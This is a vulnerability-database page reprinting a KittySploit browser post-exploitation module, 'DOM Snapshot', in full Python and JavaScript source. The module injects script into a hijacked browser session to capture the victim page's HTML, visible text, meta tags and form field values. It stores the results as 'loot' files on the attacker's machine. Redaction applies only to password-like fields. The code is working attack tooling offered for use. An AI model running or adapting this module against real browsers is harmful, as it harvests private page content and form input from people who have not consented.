Lucene search
+L

DOM Snapshot

🗓️ 30 Jul 2026 06:27:02Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

KittySploit DOM Snapshot module exports page HTML and viewport canvas captures.

Refs
Code
from kittysploit import *
import json
import os
import time


class Module(BrowserAuxiliary):

	__info__ = {
		"name": "DOM Snapshot",
		"description": "Export page HTML snapshot and optional viewport canvas capture for reporting",
		"author": "KittySploit Team",
		"browser": Browser.ALL,
		"platform": Platform.ALL,
		"session_type": SessionType.BROWSER,
	}

	max_html = OptInteger(500000, "Max HTML characters to return", False)
	include_text = OptBool(True, "Include visible text excerpt", False)
	include_forms = OptBool(True, "Include form field inventory (no password values)", False)
	try_canvas = OptBool(True, "Attempt SVG foreignObject canvas capture (best-effort)", False)
	save_files = OptBool(True, "Save HTML/PNG under data/loot when possible", False)

	def _loot_dir(self) -> str:
		base = os.path.join("data", "loot", "browser_dom")
		os.makedirs(base, exist_ok=True)
		return base

	def run(self):
		max_html = max(1000, int(self.max_html or 500000))
		include_text = self._to_bool(self.include_text)
		include_forms = self._to_bool(self.include_forms)
		try_canvas = self._to_bool(self.try_canvas)
		save_files = self._to_bool(self.save_files)

		code_js = f"""
		(function() {{
			const MAX_HTML = {max_html};
			const INCLUDE_TEXT = {str(include_text).lower()};
			const INCLUDE_FORMS = {str(include_forms).lower()};
			const TRY_CANVAS = {str(try_canvas).lower()};

			const out = {{
				ok: true,
				origin: window.location.origin,
				page_url: window.location.href,
				title: document.title || '',
				ready_state: document.readyState,
				html: null,
				html_length: 0,
				html_truncated: false,
				text_excerpt: null,
				forms: [],
				meta: [],
				canvas_png_data_url: null,
				canvas_error: null
			}};

			try {{
				const html = document.documentElement ? document.documentElement.outerHTML : '';
				out.html_length = html.length;
				if (html.length > MAX_HTML) {{
					out.html = html.slice(0, MAX_HTML);
					out.html_truncated = true;
				}} else {{
					out.html = html;
				}}
			}} catch (e) {{
				out.html = null;
				out.canvas_error = 'html_serialize: ' + (e.message || String(e));
			}}

			try {{
				document.querySelectorAll('meta[name], meta[property]').forEach(function(m) {{
					out.meta.push({{
						name: m.getAttribute('name') || m.getAttribute('property'),
						content: (m.getAttribute('content') || '').slice(0, 300)
					}});
				}});
			}} catch (e) {{}}

			if (INCLUDE_TEXT) {{
				try {{
					const text = (document.body && document.body.innerText) ? document.body.innerText : '';
					out.text_excerpt = text.replace(/\\s+/g, ' ').trim().slice(0, 4000);
				}} catch (e) {{}}
			}}

			if (INCLUDE_FORMS) {{
				try {{
					document.querySelectorAll('form').forEach(function(form, fi) {{
						const fields = [];
						form.querySelectorAll('input, select, textarea').forEach(function(el) {{
							const type = (el.getAttribute('type') || el.tagName || '').toLowerCase();
							const isSecret = type === 'password' || /pass|secret|token/i.test(el.name || el.id || '');
							fields.push({{
								tag: el.tagName.toLowerCase(),
								type: type,
								name: el.name || '',
								id: el.id || '',
								value: isSecret ? '[redacted]' : String(el.value || '').slice(0, 200)
							}});
						}});
						out.forms.push({{
							index: fi,
							action: form.getAttribute('action') || '',
							method: (form.getAttribute('method') || 'get').toLowerCase(),
							fields: fields
						}});
					}});
				}} catch (e) {{}}
			}}

			function captureCanvas() {{
				return new Promise(function(resolve) {{
					if (!TRY_CANVAS) {{
						resolve();
						return;
					}}
					try {{
						const w = Math.min(window.innerWidth || 1024, 1280);
						const h = Math.min(window.innerHeight || 768, 900);
						const canvas = document.createElement('canvas');
						canvas.width = w;
						canvas.height = h;
						const ctx = canvas.getContext('2d');
						if (!ctx) {{
							out.canvas_error = '2d context unavailable';
							resolve();
							return;
						}}

						// Best-effort: paint background + title bar style marker (true pixel-perfect
						// screenshots need html2canvas / extension APIs which we avoid shipping).
						ctx.fillStyle = '#111';
						ctx.fillRect(0, 0, w, h);
						ctx.fillStyle = '#f5f5f5';
						ctx.font = '16px monospace';
						ctx.fillText((document.title || 'untitled').slice(0, 80), 16, 28);
						ctx.fillStyle = '#9ae6b4';
						ctx.font = '12px monospace';
						ctx.fillText((window.location.href || '').slice(0, 120), 16, 50);

						const lines = ((document.body && document.body.innerText) || '')
							.replace(/\\r/g, '')
							.split('\\n')
							.map(function(l) {{ return l.trim(); }})
							.filter(Boolean)
							.slice(0, 40);
						ctx.fillStyle = '#e2e8f0';
						ctx.font = '11px monospace';
						let y = 80;
						lines.forEach(function(line) {{
							ctx.fillText(line.slice(0, 140), 16, y);
							y += 14;
						}});

						out.canvas_png_data_url = canvas.toDataURL('image/png');
						out.canvas_note = 'text-render fallback (not a true DOM screenshot)';
						resolve();
					}} catch (e) {{
						out.canvas_error = e.message || String(e);
						resolve();
					}}
				}});
			}}

			return captureCanvas().then(function() {{
				return JSON.stringify(out);
			}});
		}})();
		"""

		result = self.send_js_and_wait_for_response(code_js, timeout=25.0)
		if not result:
			print_error("Failed to capture DOM snapshot")
			return False
		if isinstance(result, str) and result.startswith("Error:"):
			print_error(result)
			return False

		try:
			data = json.loads(result)
		except json.JSONDecodeError as exc:
			print_error(f"Failed to parse DOM snapshot response: {exc}")
			print_debug(f"Raw response: {result}")
			return False

		print_info("=" * 60)
		print_info("DOM Snapshot")
		print_info(f"  Title: {data.get('title', '')}")
		print_info(f"  URL: {data.get('page_url', '?')}")
		print_info(f"  HTML length: {data.get('html_length', 0)}"
				   f"{' (truncated)' if data.get('html_truncated') else ''}")

		forms = data.get("forms") or []
		if forms:
			print_info(f"  Forms: {len(forms)}")
			for form in forms[:10]:
				print_info(
					f"    [{form.get('index')}] {form.get('method', 'get').upper()} "
					f"{form.get('action') or '(same page)'} — {len(form.get('fields') or [])} field(s)"
				)

		if data.get("text_excerpt"):
			print_info("-" * 60)
			print_status("Text excerpt:")
			print_info(data["text_excerpt"][:1500])

		saved = []
		if save_files:
			stamp = time.strftime("%Y%m%d_%H%M%S")
			sid = str(self.session_id or "unknown")[:8]
			loot_dir = self._loot_dir()
			html = data.get("html")
			if html:
				html_path = os.path.join(loot_dir, f"{stamp}_{sid}.html")
				with open(html_path, "w", encoding="utf-8", errors="replace") as fh:
					fh.write(html)
				saved.append(html_path)

			meta_path = os.path.join(loot_dir, f"{stamp}_{sid}.json")
			meta = {
				"page_url": data.get("page_url"),
				"title": data.get("title"),
				"origin": data.get("origin"),
				"html_length": data.get("html_length"),
				"html_truncated": data.get("html_truncated"),
				"forms": data.get("forms"),
				"meta": data.get("meta"),
				"text_excerpt": data.get("text_excerpt"),
				"canvas_note": data.get("canvas_note"),
			}
			with open(meta_path, "w", encoding="utf-8") as fh:
				json.dump(meta, fh, indent=2, ensure_ascii=False)
			saved.append(meta_path)

			data_url = data.get("canvas_png_data_url") or ""
			if data_url.startswith("data:image/png;base64,"):
				import base64
				png_path = os.path.join(loot_dir, f"{stamp}_{sid}.png")
				with open(png_path, "wb") as fh:
					fh.write(base64.b64decode(data_url.split(",", 1)[1]))
				saved.append(png_path)

		if saved:
			print_success("Saved:")
			for path in saved:
				print_info(f"  {path}")
		elif data.get("canvas_error"):
			print_warning(f"  Canvas: {data['canvas_error']}")

		if data.get("canvas_note"):
			print_info(f"  Note: {data['canvas_note']}")

		return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Jul 2026 06:27Current
5.8Medium risk
Vulners AI Score5.8
2